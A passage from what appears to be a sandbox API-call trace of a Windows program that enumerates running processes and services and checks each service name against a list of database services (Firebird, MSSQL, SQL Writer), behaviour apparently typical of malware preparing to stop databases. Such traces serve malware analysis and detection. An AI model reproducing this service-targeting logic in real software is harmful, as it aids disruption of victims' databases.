th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.755] lstrlenW (lpString="svchost.exe") returned 11 [0284.755] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.756] lstrlenW (lpString="svchost.exe") returned 11 [0284.757] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.757] lstrlenW (lpString="svchost.exe") returned 11 [0284.758] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.758] lstrlenW (lpString="svchost.exe") returned 11 [0284.759] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.760] lstrlenW (lpString="svchost.exe") returned 11 [0284.760] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.761] lstrlenW (lpString="svchost.exe") returned 11 [0284.761] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.762] lstrlenW (lpString="svchost.exe") returned 11 [0284.762] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.763] lstrlenW (lpString="svchost.exe") returned 11 [0284.763] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.764] lstrlenW (lpString="svchost.exe") returned 11 [0284.764] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0284.765] lstrlenW (lpString="spoolsv.exe") returned 11 [0284.765] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.791] lstrlenW (lpString="svchost.exe") returned 11 [0284.791] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0284.792] lstrlenW (lpString="audiodg.exe") returned 11 [0284.792] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0284.793] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0284.793] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0284.794] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0284.794] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0284.795] lstrlenW (lpString="Memory Compression") returned 18 [0284.795] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.796] lstrlenW (lpString="svchost.exe") returned 11 [0284.796] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0284.797] lstrlenW (lpString="sihost.exe") returned 10 [0284.797] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0284.798] lstrlenW (lpString="taskhostw.exe") returned 13 [0284.798] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0284.799] lstrlenW (lpString="msoia.exe") returned 9 [0284.799] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0284.801] lstrlenW (lpString="explorer.exe") returned 12 [0284.801] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0284.802] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0284.802] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0284.802] lstrlenW (lpString="SearchUI.exe") returned 12 [0284.803] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0284.803] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0284.804] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0284.804] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0284.804] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0284.805] lstrlenW (lpString="chrome64b.exe") returned 13 [0284.805] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0284.806] lstrlenW (lpString="consent.exe") returned 11 [0284.806] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0284.807] lstrlenW (lpString="dllhost.exe") returned 11 [0284.807] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0284.808] CloseHandle (hObject=0x530) returned 1 [0284.808] Sleep (dwMilliseconds=0x1f4) [0285.371] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a270 [0285.372] EnumServicesStatusExW (in: hSCManager=0x69a270, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0285.372] GetLastError () returned 0xea [0285.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x45de478 [0285.373] EnumServicesStatusExW (in: hSCManager=0x69a270, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45de478, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45de478, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0285.374] CloseServiceHandle (hSCObject=0x69a270) returned 1 [0285.374] lstrlenW (lpString="Appinfo") returned 7 [0285.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0285.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0285.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0285.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0285.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0285.374] lstrlenW (lpString="AppXSvc") returned 7 [0285.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0285.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0285.375] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0285.375] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0285.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0285.375] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0285.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0285.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0285.375] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0285.375] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0285.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0285.375] lstrlenW (lpString="Audiosrv") returned 8 [0285.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0285.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0285.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0285.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0285.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0285.375] lstrlenW (lpString="BFE") returned 3 [0285.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0285.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0285.375] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0285.375] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0285.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0285.375] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0285.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0285.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0285.376] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0285.376] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0285.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0285.376] lstrlenW (lpString="CDPSvc") returned 6 [0285.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0285.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0285.376] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0285.376] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0285.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0285.376] lstrlenW (lpString="ClickToRunSvc") returned 13 [0285.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0285.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0285.376] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0285.376] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0285.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0285.376] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0285.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0285.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0285.377] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0285.377] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0285.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0285.377] lstrlenW (lpString="CryptSvc") returned 8 [0285.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0285.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0285.377] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0285.377] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0285.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0285.377] lstrlenW (lpString="DcomLaunch") returned 10 [0285.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0285.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0285.377] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0285.377] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0285.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0285.377] lstrlenW (lpString="DeviceAssociationService") returned 24 [0285.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0285.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0285.377] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0285.377] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0285.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0285.377] lstrlenW (lpString="Dhcp") returned 4 [0285.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0285.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0285.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0285.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0285.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0285.378] lstrlenW (lpString="Dnscache") returned 8 [0285.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0285.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0285.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0285.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0285.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0285.378] lstrlenW (lpString="DPS") returned 3 [0285.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0285.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0285.378] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0285.378] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0285.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0285.378] lstrlenW (lpString="DusmSvc") returned 7 [0285.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0285.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0285.378] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0285.378] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0285.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0285.378] lstrlenW (lpString="EventLog") returned 8 [0285.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0285.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0285.378] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0285.378] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0285.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0285.378] lstrlenW (lpString="EventSystem") returned 11 [0285.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0285.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0285.379] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0285.379] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0285.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0285.379] lstrlenW (lpString="FontCache") returned 9 [0285.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0285.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0285.379] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0285.379] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0285.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0285.379] lstrlenW (lpString="gpsvc") returned 5 [0285.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0285.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0285.379] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0285.379] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0285.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0285.379] lstrlenW (lpString="iphlpsvc") returned 8 [0285.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0285.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0285.379] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0285.379] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0285.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0285.379] lstrlenW (lpString="KeyIso") returned 6 [0285.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0285.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0285.380] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0285.380] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0285.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0285.380] lstrlenW (lpString="LanmanServer") returned 12 [0285.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0285.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0285.380] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0285.380] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0285.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0285.380] lstrlenW (lpString="LanmanWorkstation") returned 17 [0285.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0285.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0285.380] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0285.380] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0285.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0285.380] lstrlenW (lpString="lfsvc") returned 5 [0285.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0285.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0285.380] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0285.380] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0285.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0285.380] lstrlenW (lpString="lmhosts") returned 7 [0285.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0285.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0285.381] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0285.381] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0285.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0285.381] lstrlenW (lpString="LSM") returned 3 [0285.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0285.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0285.381] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0285.381] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0285.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0285.381] lstrlenW (lpString="MpsSvc") returned 6 [0285.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0285.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0285.381] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0285.381] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0285.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0285.381] lstrlenW (lpString="NcbService") returned 10 [0285.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0285.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0285.381] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0285.381] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0285.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0285.381] lstrlenW (lpString="netprofm") returned 8 [0285.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0285.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0285.382] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0285.382] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0285.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0285.382] lstrlenW (lpString="NgcSvc") returned 6 [0285.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0285.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0285.382] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0285.382] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0285.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0285.382] lstrlenW (lpString="NlaSvc") returned 6 [0285.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0285.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0285.382] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0285.382] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0285.382] lstrcmpiW (lpString1="sqlserveradhelper", 